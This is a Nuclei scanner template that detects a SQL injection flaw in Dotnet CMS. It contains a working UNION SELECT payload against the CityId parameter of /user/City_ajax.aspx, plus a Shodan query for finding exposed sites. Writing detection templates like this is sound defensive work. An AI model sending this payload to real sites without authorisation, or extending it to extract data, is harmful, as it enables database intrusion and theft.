nuclei-templates/http/vulnerabilities/other/dotnetcms-sqli.yaml

38 lines
1.2 KiB
YAML

id: dotnetcms-sqli
info:
name: Dotnet CMS - SQL Injection
author: ritikchaddha
severity: critical
description: Dotnet CMS contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
reference:
- https://www.cnblogs.com/rebeyond/p/4951418.html
- http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0150742
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cwe-id: CWE-89
metadata:
verified: true
max-request: 1
shodan-query: http.html:"dotnetcms"
tags: dotnetcms,dotnet,sqli,intrusive
http:
- method: GET
path:
- "{{BaseURL}}/user/City_ajax.aspx?CityId=33'union%20select%20sys.fn_sqlvarbasetostr(HashBytes('MD5','{{randstr}}')),2--"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{md5("{{randstr}}")}}'
- type: status
status:
- 200
# digest: 490a0046304402204869be6b43250817df406daa5250366dd8cf846e0cb8f12eaba3c984f4ad9d40022043695d9235305632fd7beb71e38d01edd54286de707fd85e94bfb568b007e1a0:922c64590222798bb761d5b6d8e72950